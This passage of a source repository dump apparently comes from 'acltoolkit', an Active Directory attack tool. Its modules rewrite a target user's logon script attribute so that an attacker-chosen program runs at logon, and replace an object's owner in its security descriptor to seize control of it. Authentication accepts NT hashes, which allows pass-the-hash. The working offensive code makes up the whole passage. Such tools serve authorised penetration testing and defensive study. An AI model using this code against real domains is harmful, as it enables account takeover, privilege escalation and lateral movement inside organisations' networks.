| self._set_root_dse() 384 | 385 | return self._default_path 386 | 387 | @property 388 | def configuration_path(self) -> str: 389 | if self._configuration_path is not None: 390 | return self._configuration_path 391 | 392 | self._set_root_dse() 393 | 394 | return self._configuration_path 395 | -------------------------------------------------------------------------------- /acltoolkit/set_logon_script.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import logging 3 | 4 | import ldap3 5 | from impacket.ldap.ldaptypes import SR_SECURITY_DESCRIPTOR, LDAP_SID 6 | 7 | from acltoolkit.ldap import LDAPConnection, LDAPEntry 8 | from acltoolkit.target import Target 9 | 10 | class SetLogonScript: 11 | def __init__(self, options: argparse.Namespace): 12 | self.options = options 13 | 14 | self.target = Target(options) 15 | self._object = None 16 | self.logonscript_type = 'scriptPath' 17 | if options.logonscript_type in ['scriptPath', 'msTSInitialProgram']: 18 | self.logonscript_type = options.logonscript_type 19 | self.scriptpath = options.script_path 20 | 21 | self.ldap_connection = None 22 | 23 | 24 | def connect(self): 25 | self.ldap_connection = LDAPConnection(self.options.scheme, self.target) 26 | self.ldap_connection.connect() 27 | 28 | def search(self, *args, **kwargs) -> 'list["LDAPEntry"]': 29 | return self.ldap_connection.search(*args, **kwargs) 30 | 31 | def write(self, *args, **kwargs) -> int: 32 | return self.ldap_connection.write(*args, **kwargs) 33 | 34 | def run(self): 35 | self.connect() 36 | 37 | logging.info("Find target object: %s" % self.object.get("distinguishedName")) 38 | logging.info("Actual Logon Script (%s) is: %s" % (self.logonscript_type, self.object.get(self.logonscript_type))) 39 | ret = self.write(self.object.get("distinguishedName"), {self.logonscript_type:[ldap3.MODIFY_REPLACE, [self.scriptpath]]}) 40 | 41 | if ret['result'] == 0: 42 | logging.info("Logon Script (%s) modified successfully !" % self.logonscript_type) 43 | else : 44 | if ret['result'] == 50: 45 | raise Exception('Could not modify object, the server reports insufficient rights: %s', ret['message']) 46 | elif ret['result'] == 19: 47 | raise Exception('Could not modify object, the server reports a constrained violation: %s', ret['message']) 48 | else: 49 | raise Exception('The server returned an error: %s', ret['message']) 50 | 51 | @property 52 | def object(self) -> LDAPEntry: 53 | if self._object is not None: 54 | return self._object 55 | 56 | object_sid = self.options.target_sid 57 | 58 | objects = self.search( 59 | "(objectSid=%s)" % object_sid, 60 | attributes=["distinguishedName", "scriptPath", "msTSInitialProgram"] 61 | ) 62 | 63 | if len(objects) == 0: 64 | raise Exception("Could not find object with Sid: %s" % object_sid) 65 | 66 | self._object = objects[0] 67 | 68 | return self._object 69 | 70 | def set_logonscript(options: argparse.Namespace): 71 | g = SetLogonScript(options) 72 | g.run() -------------------------------------------------------------------------------- /acltoolkit/set_objectowner.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import logging 3 | 4 | import ldap3 5 | from impacket.ldap.ldaptypes import SR_SECURITY_DESCRIPTOR, LDAP_SID 6 | 7 | from acltoolkit.ldap import LDAPConnection, LDAPEntry 8 | from acltoolkit.target import Target 9 | 10 | class SetObjectOwner: 11 | def __init__(self, options: argparse.Namespace): 12 | self.options = options 13 | 14 | self.target = Target(options) 15 | self._object = None 16 | self._owner = None 17 | 18 | self.ldap_connection = None 19 | 20 | self._security_descriptor = None 21 | 22 | def connect(self): 23 | self.ldap_connection = LDAPConnection(self.options.scheme, self.target) 24 | self.ldap_connection.connect() 25 | 26 | def search(self, *args, **kwargs) -> 'list["LDAPEntry"]': 27 | return self.ldap_connection.search(*args, **kwargs) 28 | 29 | def write(self, *args, **kwargs) -> int: 30 | return self.ldap_connection.write(*args, **kwargs) 31 | 32 | def run(self): 33 | self.connect() 34 | 35 | logging.info("Find target object: %s" % self.object.get("distinguishedName")) 36 | logging.info("New owner will be: %s" % self.owner.get("distinguishedName")) 37 | self.security_descriptor["OwnerSid"] = LDAP_SID(self.owner.get_raw("objectSid")) 38 | ret = self.write(self.object.get("distinguishedName"), {'nTSecurityDescriptor':[ldap3.MODIFY_REPLACE, [self.security_descriptor.getData()]]}) 39 | 40 | if ret['result'] == 0: 41 | logging.info("Object Owner modified successfully !") 42 | else : 43 | if ret['result'] == 50: 44 | raise Exception('Could not modify object, the server reports insufficient rights: %s', ret['message']) 45 | elif ret['result'] == 19: 46 | raise Exception('Could not modify object, the server reports a constrained violation: %s', ret['message']) 47 | else: 48 | raise Exception('The server returned an error: %s', ret['message']) 49 | 50 | @property 51 | def object(self) -> LDAPEntry: 52 | if self._object is not None: 53 | return self._object 54 | 55 | object_sid = self.options.target_sid 56 | 57 | objects = self.search( 58 | "(objectSid=%s)" % object_sid, 59 | attributes=["distinguishedName", "nTSecurityDescriptor", "primaryGroupId"] 60 | ) 61 | 62 | if len(objects) == 0: 63 | raise Exception("Could not find object with Sid: %s" % object_sid) 64 | 65 | self._object = objects[0] 66 | 67 | return self._object 68 | 69 | @property 70 | def owner(self) -> LDAPEntry: 71 | if self._owner is not None: 72 | return self._owner 73 | 74 | if self.options.owner_sid is not None: 75 | owner = self.search( 76 | "(objectSid=%s)" % self.options.owner_sid, 77 | attributes=["distinguishedName", "objectSid"] 78 | ) 79 | if len(owner) == 0: 80 | raise Exception("Could not find owner") 81 | else: 82 | owner = self.search( 83 | "(sAMAccountName=%s)" 84 | % self.target.username, 85 | attributes=["distinguishedName","objectSid"], 86 | ) 87 | self._owner = owner[0] 88 | return self._owner 89 | 90 | 91 | @property 92 | def security_descriptor(self) -> SR_SECURITY_DESCRIPTOR: 93 | if self._security_descriptor is not None: 94 | return self._security_descriptor 95 | 96 | self._security_descriptor = SR_SECURITY_DESCRIPTOR() 97 | self._security_descriptor.fromString(self.object.get_raw("nTSecurityDescriptor")) 98 | 99 | return self.security_descriptor 100 | 101 | def set_objectowner(options: argparse.Namespace): 102 | g = SetObjectOwner(options) 103 | g.run() -------------------------------------------------------------------------------- /acltoolkit/target.py: -------------------------------------------------------------------------------- 1 | from impacket.examples.utils import parse_target 2 | 3 | class Target: 4 | def __init__(self, options): 5 | domain, username, password, remote_name = parse_target(options.target) 6 | 7 | if domain is None: 8 | domain = "" 9 | 10 | if ( 11 | password == "" 12 | and username != "" 13 | and options.hashes is None 14 | and options.no_pass is not True 15 | ): 16 | from getpass import getpass 17 | 18 | password = getpass("Password:") 19 | hashes = options.hashes 20 | if hashes is not None: 21 | hashes = hashes.split(':') 22 | if len(hashes) == 1: 23 | (nthash,) = hashes 24 | lmhash = nthash 25 | else: 26 | lmhash, nthash = hashes 27 | else: 28 | lmhash = nthash = '' 29 | 30 | if options.dc_ip is None: 31 | options.dc_ip = remote_name 32 | 33 | self.domain = domain 34 | self.username = username[:20] 35 | self.password = password 36 | self.remote_name = remote_name 37 | self.lmhash = lmhash 38 | self.nthash = nthash 39 | self.ntlmhash = "%s:%s" % (lmhash,nthash) 40 | self.do_kerberos = options.k 41 | self.dc_ip = options.dc_ip 42 | 43 | def __repr__(self) -> str: 44 | return "" % repr(self.__dict__) -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | from importlib.metadata import entry_points 2 | from setuptools import setup 3 | 4 | setup( 5 | name="acltoolkit-ad", 6 | version="0.2.2", 7 | author="zblurx", 8 | url="https://github.com/zblurx/acltoolkit", 9 | long_description="README.md", 10 | license="MIT", 11 | packages=["acltoolkit"], 12 | install_requires=[ 13 | "asn1crypto==1.5.1", 14 | "pycryptodome==3.17", 15 | "impacket==0.10.0", 16 | "ldap3==2.9.1", 17 | "pyasn1==0.4.8", 18 | "dnspython==2.3.0", 19 | ], 20 | entry_points={ 21 | "console_scripts":["acltoolkit=acltoolkit.entry:main"], 22 | }, 23 | ) 24 | --------------------------------------------------------------------------------